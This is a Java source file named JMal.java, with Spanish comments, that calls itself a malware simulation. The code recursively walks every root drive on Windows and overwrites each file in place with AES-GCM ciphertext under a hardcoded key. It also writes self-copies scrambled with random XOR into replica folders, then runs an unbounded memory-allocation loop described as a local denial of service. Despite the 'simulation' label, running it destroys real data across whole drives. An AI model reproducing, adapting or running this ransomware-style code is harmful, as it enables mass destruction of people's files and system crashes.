JMal.java

package jmal;

/**
 *
 * @author Slam
 */
import java.io.*;
import java.net.URISyntaxException;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.util.Iterator;

public class JMAL {
    
    public static void main(String[] args) {
        try {
            Utils util = new Utils();
            // Obtiene la ubicación actual del archivo
            File currentFile = new File(JMAL.class.getProtectionDomain()
                    .getCodeSource().getLocation().toURI());

            // Obtener sistema operativo
            String OS = util.getOS();
            
            System.out.println("Operating System: " + OS + "\n" + currentFile.getAbsolutePath());
            // Definimos los directorios de replicación según OS

            String[] replicationPaths;
            
            if (containsIgnoreCase(OS, "Windows") || containsIgnoreCase(OS, "NT")) {
                replicationPaths = new String[]{"C:/Replica1/", "C:/Replica2/", "C:/Replica3/"};
                WinReplicate();
            } else if (containsIgnoreCase(OS, "Mac") || containsIgnoreCase(OS, "X")) {
                replicationPaths = new String[]{"/Users/Replica1/", "/Users/Replica2/", "/Users/Replica3/"};
            } else if (containsIgnoreCase(OS, "Linux") || containsIgnoreCase(OS, "gnu")) {
                replicationPaths = new String[]{"/usr/Replica1/", "/usr/Replica2/", "/usr/Replica3/"};
            } else {
                // Otros sistemas
                replicationPaths = new String[]{"/usr/Replica1/", "/usr/Replica2/", "/usr/Replica3/"};
            }
            // Activa las tres funciones maliciosas en paralelo
            for (String path : replicationPaths) {
                replicateAndEncrypt(currentFile, path);
            }

            // Inicia el consumo masivo de memoria (DoS local)
            consumeMemory();
            System.out.println("Simulación de malware completada.");
            
        } catch (URISyntaxException e) {
            System.out.println("URISyntaxException: " + e.getMessage());
        }
    }

    /*
    * Método de replicación específico para Windows
     */
    private static void WinReplicate() {
        FileSystem fs = FileSystems.getDefault();
        Iterable<Path> dirs = fs.getRootDirectories();
        for (Iterator<Path> iterator = dirs.iterator(); iterator.hasNext();) {
            Path next = iterator.next();
            boolean abs = next.isAbsolute();
            System.out.println(next.toString() + " -> Es directorio raiz: " + (abs ? "SI" : "NO"));
            //if(next.toString().contains("E")){
            System.out.println("Iniciando búsqueda ...");
            lookNFind(next);
            System.out.println("El directorio: " + next.toString() + " está limpio!");
            //}
        }
    }

    // Método principal para buscar archivos y carpetas
    private static void lookNFind(Path root) {
        // Verificamos si el path existe
        File path = root.toFile();
        if (!path.exists()) {
            System.out.println("El path no existe: " + root);
            return;
        }
        // Si es un directorio, procedemos a recorrer los archivos dentro
        if (path.isDirectory()) {
            // Obtengo los ficheros del directorio actual
            File[] files = path.listFiles();
            // Verifico que no esté vacio el directorio
            if (files != null && files.length > 0) {
                for (File file : files) {
                    // Si es un subdirectorio, hacer llamada recursiva
                    if (file.isDirectory()) {
                        // Recursión para subdirectorios
                        lookNFind(file.toPath());
                    } else {
                        // Encripta el fichero
                        replicateAndEncrypt(file, file.getAbsolutePath());
                    }
                }
            }
        } else {
            // Si no es un directorio, simplemente encriptamos el archivo
            replicateAndEncrypt(path, path.getAbsolutePath());
        }
    }

    /**
     * Método para replicar y cifrar archivos en un directorio específico.
     */
    private static void replicateAndEncrypt(File currentFile, String destinationPath) {
        // Crea el directorio si no existe
        File destinationDir = new File(destinationPath);
        if (!destinationDir.exists()) {
            destinationDir.mkdirs();
        }
        // Copia el archivo a varios nombres diferentes en el directorio
        // Doble Encriptación: AES/GCM/NoPadding y XOR
        // Garantiza corrupción del archivo
        for (int i = 1; i <= 5; i++) {
            try {
                File replicatedFile = new File(destinationPath + "Replica" + i + ".jar");
                // Garantiza una copia fiel del archivo (evitar corrupción)
                copyAndEncryptFile(currentFile, replicatedFile);
                // Encripta el archivo (corrupción)
                encryptFile(new Utils(), currentFile);
                System.out.println("Archivo replicado y cifrado en: " + replicatedFile.getAbsolutePath());
            } catch (IOException ex) {
                System.out.println("Exception: " + ex.getMessage());
            }
        }
    }

    /**
     * Copia y cifra el archivo usando un cifrado básico XOR.
     */
    private static void copyAndEncryptFile(File sourceFile, File destinationFile) throws IOException {
        try (FileInputStream fis = new FileInputStream(sourceFile); FileOutputStream fos = new FileOutputStream(destinationFile)) {
            
            byte[] buffer = new byte[1024];
            int bytesRead;
            SecureRandom random = new SecureRandom();
            while ((bytesRead = fis.read(buffer)) != -1) {
                // Cifrado básico XOR para simular encriptación
                for (int i = 0; i < bytesRead; i++) {
                    buffer[i] = (byte) (buffer[i] ^ random.nextInt(256));
                }
                fos.write(buffer, 0, bytesRead);
            }
        } catch (IOException e) {
            System.out.println("Error al replicar el archivo: " + e.getMessage());
        }
    }

    /**
     * Encriptación de un archivo utilizando AES/GCM/NoPadding.
     */
    private static void encryptFile(Utils util, File f) {
        try {
            // Almacen de IV
            byte[] iv = new byte[12];

            // Limpiar archivos espurios
            //util.cleanMac(f.getAbsolutePath());
            // Convierte la clave en un arreglo de bytes
            byte[] keyBytes = Utils.SK.getBytes();
            // Genera especificaciones de la clave secreta en crudo
            SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
            // Navega por cada elemento del directorio

            // Chequeo si no es fichero y no contiene patrones de MacOS
            if (!f.isDirectory() && !f.getName().contains(".DS")) {
                // Genera un IV aleatorio
                SecureRandom random = new SecureRandom();
                // IV de 12 bytes para GCM
                random.nextBytes(iv);
                // Inicializa el cifrador en modo GCM
                Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
                GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv);
                cipher.init(Cipher.ENCRYPT_MODE, key, parameterSpec);

                // Leo el fichero a cifrar
                System.out.println("Leyendo datos: " + f.getAbsolutePath());
                byte[] fData = Files.readAllBytes(f.toPath());
                System.out.println("Cifrando: " + f.getAbsolutePath());
                // Cifra el fichero
                byte[] encryptedMessage = cipher.doFinal(fData);
                // Añade el IV al final del mismo
                ByteBuffer bb = ByteBuffer.allocate(encryptedMessage.length + iv.length);
                util.readIV(iv);
                bb.put(encryptedMessage).put(iv);
                byte[] encryptedMessageWithIV = bb.array();

                // Sobre-escribe el fichero original con el cifrado
                String newFilePath = f.toString();
                System.out.println("Salvando fichero encriptado en: " + newFilePath);
                Files.write(Paths.get(newFilePath), encryptedMessageWithIV);
                
                System.out.println("Mensaje cifrado y IV almacenados con éxito.");
            }
            
        } catch (NoSuchAlgorithmException | NoSuchPaddingException
                | InvalidKeyException | IllegalArgumentException | InvalidAlgorithmParameterException
                | IllegalBlockSizeException | BadPaddingException
                | IOException e) {
            System.out.println("Exception: " + e.getMessage());
        }
    }

    /**
     * Encriptación de cada archivo en un directorio utilizando
     * AES/GCM/NoPadding.
     */
    private static void encryptAllInDir(Utils util, File f) {
        
        try {
            // Almacen de IV
            byte[] iv = new byte[12];

            // Captura el directorio para uso posterior
            File fDir = new File(util.getAppPath());
            // Limpiar archivos espurios
            //util.cleanMac(fDir.getAbsolutePath());

            // Convierte la clave en un arreglo de bytes
            byte[] keyBytes = Utils.SK.getBytes();
            // Genera especificaciones de la clave secreta en crudo
            SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
            // Navega por cada elemento del directorio
            for (File files : fDir.listFiles()) {
                // Chequeo si no es fichero y no contiene patrones de MacOS
                if (!files.isDirectory() && !files.getName().contains(".DS")) {
                    // Genera un IV aleatorio
                    SecureRandom random = new SecureRandom();
                    // IV de 12 bytes para GCM
                    random.nextBytes(iv);
                    // Inicializa el cifrador en modo GCM
                    Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
                    GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv);
                    cipher.init(Cipher.ENCRYPT_MODE, key, parameterSpec);

                    // Leo el fichero a cifrar
                    System.out.println("Leyendo datos: " + files.getAbsolutePath());
                    byte[] fData = Files.readAllBytes(files.toPath());
                    System.out.println("Cifrando: " + files.getAbsolutePath());
                    // Cifra el fichero
                    byte[] encryptedMessage = cipher.doFinal(fData);
                    // Añade el IV al final del mismo
                    ByteBuffer bb = ByteBuffer.allocate(encryptedMessage.length + iv.length);
                    util.readIV(iv);
                    bb.put(encryptedMessage).put(iv);
                    byte[] encryptedMessageWithIV = bb.array();

                    // Sobre-escribe el fichero original con el cifrado
                    String newFilePath = files.toString();
                    System.out.println("Salvando fichero encriptado en: " + newFilePath);
                    Files.write(Paths.get(newFilePath), encryptedMessageWithIV);
                    
                    System.out.println("Mensaje cifrado y IV almacenados con éxito.");
                }
            }
        } catch (NoSuchAlgorithmException | NoSuchPaddingException
                | InvalidKeyException | IllegalArgumentException | InvalidAlgorithmParameterException
                | IllegalBlockSizeException | BadPaddingException
                | IOException e) {
            System.out.println("Exception: " + e.getMessage());
        }
    }

    /**
     * Des-encriptación del archivo utilizando AES/GCM/NoPadding.
     */
    private static void oneFileDecrypt(String absPath) {
        try {

            // Permitir al usuario seleccionar el archivo cifrado
            byte[] iv = new byte[12];
            File file = new File(absPath);
            
            try {
                
                System.out.println("\nLeyendo IV del fichero encriptado: " + absPath);
                // Lee el IV del archivo cifrado
                byte[] cipherFile = (Files.readAllBytes(Paths.get(absPath)));
                System.arraycopy(cipherFile, cipherFile.length - 12, iv, 0, iv.length);

                // Convierte la clave en un arreglo de bytes
                System.out.println("Obteniendo llave...");
                byte[] keyBytes = Utils.SK.getBytes();
                SecretKeySpec secretKey = new SecretKeySpec(keyBytes, "AES");

                // Inicializa el cifrador en modo GCM
                System.out.println("Iniciando proceso de descifrado...");
                Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
                GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv);
                cipher.init(Cipher.DECRYPT_MODE, secretKey, parameterSpec);

                // Lee el archivo cifrado y obtiene IV
                System.out.println("Extrayendo datos cifrados...");
                byte[] encryptedData = Files.readAllBytes(Paths.get(absPath));
                byte[] encryptedDataWithoutIV = new byte[encryptedData.length - iv.length];
                System.arraycopy(encryptedData, 0, encryptedDataWithoutIV, 0, encryptedDataWithoutIV.length);

                // Descifra el archivo y lo almacena en un arreglo
                System.out.println("Descifrando datos...");
                byte[] decryptedData = cipher.doFinal(encryptedDataWithoutIV);

                // Obtiene la extensión del archivo cifrado
                String extension;
                String decryptedFileName;
                int dotIndex = absPath.lastIndexOf(".");
                if (dotIndex >= 0) {
                    extension = absPath.substring(dotIndex);
                    decryptedFileName = absPath.substring(0, dotIndex) + extension;
                } else {
                    extension = "._decrypted";
                    decryptedFileName = absPath.concat(extension);
                }
                // Guarda el archivo descifrado
                Files.write(Paths.get(decryptedFileName), decryptedData);
                
                System.out.println("Archivo " + file.getName() + " descifrado con éxito.");
                
            } catch (IllegalArgumentException | javax.crypto.AEADBadTagException e) {
                // To avoid an interruption
                System.out.println("InsideException: " + e.getMessage());
            }
            
        } catch (NoSuchAlgorithmException | NoSuchPaddingException
                | InvalidKeyException | InvalidAlgorithmParameterException
                | IllegalBlockSizeException | BadPaddingException
                | IOException e) {
            System.err.println("Proceso inconcluso debido a: " + e.getMessage() + "\nDetalles: ");
        }
    }

    /**
     * Método para consumir grandes cantidades de memoria para simular un ataque
     * DoS local.
     */
    private static void consumeMemory() {
        List<byte[]> memoryList = new ArrayList<>();
        try {
            while (true) {
                // Intenta asignar grandes bloques de memoria en un bucle infinito
                memoryList.add(new byte[1024 * 1024]); // 1 MB cada iteración
            }
        } catch (OutOfMemoryError e) {
            System.out.println("Memoria consumida completamente. Sistema colapsado.");
        }
    }
    
    protected static boolean containsIgnoreCase(String text, String param) {
        String paramLowCase = param.toLowerCase();
        String textLowCase = text.toLowerCase();
        return textLowCase.contains(paramLowCase);
    }

    /**
     *
     * @author Slam Clase Utils para configuración
     */
    private static class Utils {
        
        private String OS;
        private String pathApp;
        public static String SK = "thisismysecretkeytoencryptsfiles";
        
        public Utils() {
            detectOS();
        }
        
        public String getOS() {
            return OS;
        }
        
        public String getAppPath() {
            return pathApp;
        }
        
        private void detectOS() {
            Properties props = System.getProperties();
            OS = props.getProperty("os.name");
            pathApp = props.getProperty("java.class.path");
            //props.list(System.out);
        }
        
        public void changeSK(String nSK) {
            this.SK = nSK;
        }
        
        public boolean validSK(String sk2) {
            try {
                String sk = "9af9b15a2711c99f80ddc1fddfa85bee21f268d6106233f8163c2beefc3351a8";
                String sha2561sk2 = generateSHA256Key(sk2);
                System.out.println(sk + " vs " + sha2561sk2);
                return sk.equals(sha2561sk2);
            } catch (NoSuchAlgorithmException ex) {
                Logger.getLogger(Utils.class.getName()).log(Level.SEVERE, null, ex);
            }
            return false;
        }
        
        private static String generateSHA256Key(String data) throws NoSuchAlgorithmException {
            MessageDigest digest = MessageDigest.getInstance("SHA-256");
            byte[] encodedhash = digest.digest(data.getBytes(StandardCharsets.UTF_8));

            // Convertir el hash a una representación hexadecimal
            StringBuilder hexString = new StringBuilder(2 * encodedhash.length);
            for (byte b : encodedhash) {
                String hex = Integer.toHexString(0xff & b);
                if (hex.length() == 1) {
                    hexString.append('0');
                }
                hexString.append(hex);
            }
            
            return hexString.toString();
        }
        
        public void cleanMac(String path) {
            File fDir = new File(path);
            for (File f : fDir.listFiles()) {
                if (f.isDirectory()) {
                    System.out.println("Directory name: " + f.getName());
                } else if (f.isFile()) {
                    System.out.println("Filename: " + f.getName());
                }
                if (f.isFile() && f.getName().contains("DS_")) {
                    f.delete();
                }
            }
        }
        
        public void readIV(byte[] iv) {
            System.out.println("IV Data:");
            for (byte b : iv) {
                System.out.print((char) b);
            }
            System.out.println("");
        }
        
        @Override
        public String toString() {
            return "OS: " + OS + "\nPath: " + pathApp;
        }
        
    }
}